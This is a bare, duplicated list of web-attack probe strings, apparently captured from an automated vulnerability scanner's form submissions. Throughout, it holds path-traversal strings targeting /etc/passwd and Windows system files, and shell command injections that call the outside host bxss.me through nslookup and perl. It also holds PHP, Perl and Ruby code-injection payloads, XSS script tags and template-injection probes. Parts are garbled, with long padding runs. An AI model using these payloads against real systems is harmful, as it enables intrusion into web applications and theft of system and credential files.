1
6Ran3DTP
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
${9999679+10000304}
1oTrAAhvGO
'.gethostbyname(lc('hitwo'.'yxirdjkr5e3fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(80).chr(97).chr(85).'
&n955106=v901930
".gethostbyname(lc("hitlu"."vajhqibhfd863.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(75).chr(103).chr(77)."
/xfs.bxss.me
HttP://bxss.me/t/xss.html?%00
'"
"+"A".concat(70-3).concat(22*4).concat(102).concat(78).concat(97).concat(84)+(require"socket" Socket.gethostbyname("hitza"+"csewmkut533cb.bxss.me.")[3].to_s)+"
995143
'+'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitwk'+'jiowrllw29f4a.bxss.me.')[3].to_s)+'
http://xfs.bxss.me
bxss.me/t/xss.html?%00
//xfs.bxss.me
response.write(9578175*9001484)
/\xfs.bxss.me
'+response.write(9578175*9001484)+'
12345'"\'\");|]*%00{%0d%0a%bf%27'????
"+response.write(9578175*9001484)+"
)
!(()&&!|*|*|
^(#$!@#$)(()))******
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
bxss.me
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
echo oxqwfp$()\ nrfeyu\nz^xyu||a #' &echo oxqwfp$()\ nrfeyu\nz^xyu||a #|" &echo oxqwfp$()\ nrfeyu\nz^xyu||a #
../../../../../../../../../../etc/passwd%00.jpg
&echo tnpzvu$()\ ftajje\nz^xyu||a #' &echo tnpzvu$()\ ftajje\nz^xyu||a #|" &echo tnpzvu$()\ ftajje\nz^xyu||a #
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
|echo rvyhjg$()\ olqgbe\nz^xyu||a #' |echo rvyhjg$()\ olqgbe\nz^xyu||a #|" |echo rvyhjg$()\ olqgbe\nz^xyu||a #
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
(nslookup hitqvzkgzkwzrf85e2.bxss.me||perl -e "gethostbyname('hitqvzkgzkwzrf85e2.bxss.me')")
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
$(nslookup hitymiefkbpvo44cfb.bxss.me||perl -e "gethostbyname('hitymiefkbpvo44cfb.bxss.me')")
/etc/passwd
&(nslookup hitxlxudedddi41a9c.bxss.me||perl -e "gethostbyname('hitxlxudedddi41a9c.bxss.me')")&'\"`0&(nslookup hitxlxudedddi41a9c.bxss.me||perl -e "gethostbyname('hitxlxudedddi41a9c.bxss.me')")&`'
%2fetc%2fpasswd
|(nslookup hitkcpkxvhqjz7f5ff.bxss.me||perl -e "gethostbyname('hitkcpkxvhqjz7f5ff.bxss.me')")
/.././.././.././.././.././.././.././../etc/./passwd%00
`(nslookup hitqyaxfgkcvre9da3.bxss.me||perl -e "gethostbyname('hitqyaxfgkcvre9da3.bxss.me')")`
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
;(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")|(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")&(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
C:\WINDOWS\system32\drivers\etc\hosts
../../../../../../../../../../windows/win.ini%00.jpg
/../../../../../../../../../../boot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
..\..\..\..\..\..\..\..\windows\win.ini
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
WEB-INF/web.xml
1'"()&%R4Ej(9358)
WEB-INF\web.xml
'"()&%R4Ej(9419)
19859326
acu2008%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2008
acux8283%C0%BEz1%C0%BCz2a%90bcxuca8283
1}}"}}'}}1%>"%>'%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1R4Ej(9054)
1ZHNZI[!+!]
1R4Ej(9307)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%52%34%45%6A%28%39%35%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1R4Ej(9025)
1R4Ej(9968)
%31%3C%53%63%52%69%50%74%20%3E%52%34%45%6A%289776%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\R4Ej(9462)\u003C/sCripT\u003E
1<ScRiPt>R4Ej(9392)</sCripT>
?
1}body{acu:Expre/**/SSion(R4Ej(9926))}
12JL8g R4Ej(9638)
10BEQS[!+!]
1'"()&%bF4y(9372)
'"()&%bF4y(9473)
19807752
acu7917%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7917
acux10917%C0%BEz1%C0%BCz2a%90bcxuca10917
1bF4y(9056)
12BGNR[!+!]
1bF4y(9252)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%46%34%79%28%39%38%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1bF4y(9170)
1bF4y(9453)
%31%3C%53%63%52%69%50%74%20%3E%62%46%34%79%289733%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\bF4y(9861)\u003C/sCripT\u003E
1<ScRiPt>bF4y(9045)</sCripT>
1}body{acu:Expre/**/SSion(bF4y(9480))}
1HQdjH bF4y(9437)
1XMHQU[!+!]
1'"()&%GhT4(9416)
'"()&%GhT4(9505)
19680131
acu5442%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5442
acux1947%C0%BEz1%C0%BCz2a%90bcxuca1947
1GhT4(9410)
10UUET[!+!]
1GhT4(9074)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%47%68%54%34%28%39%31%32%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1GhT4(9588)
1GhT4(9798)
%31%3C%53%63%52%69%50%74%20%3E%47%68%54%34%289916%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\GhT4(9491)\u003C/sCripT\u003E
1<ScRiPt>GhT4(9247)</sCripT>
1}body{acu:Expre/**/SSion(GhT4(9313))}
1myLG2 GhT4(9527)
18ZXIQ[!+!]
з>
1
1
1
6Ran3DTP
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
${9999679+10000304}
1oTrAAhvGO
'.gethostbyname(lc('hitwo'.'yxirdjkr5e3fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(80).chr(97).chr(85).'
&n955106=v901930
".gethostbyname(lc("hitlu"."vajhqibhfd863.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(75).chr(103).chr(77)."
/xfs.bxss.me
HttP://bxss.me/t/xss.html?%00
'"
"+"A".concat(70-3).concat(22*4).concat(102).concat(78).concat(97).concat(84)+(require"socket" Socket.gethostbyname("hitza"+"csewmkut533cb.bxss.me.")[3].to_s)+"
995143
'+'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitwk'+'jiowrllw29f4a.bxss.me.')[3].to_s)+'
http://xfs.bxss.me
bxss.me/t/xss.html?%00
//xfs.bxss.me
response.write(9578175*9001484)
/\xfs.bxss.me
'+response.write(9578175*9001484)+'
12345'"\'\");|]*%00{%0d%0a%bf%27'????
"+response.write(9578175*9001484)+"
)
!(()&&!|*|*|
^(#$!@#$)(()))******
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
bxss.me
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
echo oxqwfp$()\ nrfeyu\nz^xyu||a #' &echo oxqwfp$()\ nrfeyu\nz^xyu||a #|" &echo oxqwfp$()\ nrfeyu\nz^xyu||a #
../../../../../../../../../../etc/passwd%00.jpg
&echo tnpzvu$()\ ftajje\nz^xyu||a #' &echo tnpzvu$()\ ftajje\nz^xyu||a #|" &echo tnpzvu$()\ ftajje\nz^xyu||a #
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
|echo rvyhjg$()\ olqgbe\nz^xyu||a #' |echo rvyhjg$()\ olqgbe\nz^xyu||a #|" |echo rvyhjg$()\ olqgbe\nz^xyu||a #
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
(nslookup hitqvzkgzkwzrf85e2.bxss.me||perl -e "gethostbyname('hitqvzkgzkwzrf85e2.bxss.me')")
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
$(nslookup hitymiefkbpvo44cfb.bxss.me||perl -e "gethostbyname('hitymiefkbpvo44cfb.bxss.me')")
/etc/passwd
&(nslookup hitxlxudedddi41a9c.bxss.me||perl -e "gethostbyname('hitxlxudedddi41a9c.bxss.me')")&'\"`0&(nslookup hitxlxudedddi41a9c.bxss.me||perl -e "gethostbyname('hitxlxudedddi41a9c.bxss.me')")&`'
%2fetc%2fpasswd
|(nslookup hitkcpkxvhqjz7f5ff.bxss.me||perl -e "gethostbyname('hitkcpkxvhqjz7f5ff.bxss.me')")
/.././.././.././.././.././.././.././../etc/./passwd%00
`(nslookup hitqyaxfgkcvre9da3.bxss.me||perl -e "gethostbyname('hitqyaxfgkcvre9da3.bxss.me')")`
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
;(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")|(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")&(nslookup hituhadtdaxqp2f20e.bxss.me||perl -e "gethostbyname('hituhadtdaxqp2f20e.bxss.me')")
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
C:\WINDOWS\system32\drivers\etc\hosts
../../../../../../../../../../windows/win.ini%00.jpg
/../../../../../../../../../../boot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
..\..\..\..\..\..\..\..\windows\win.ini
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.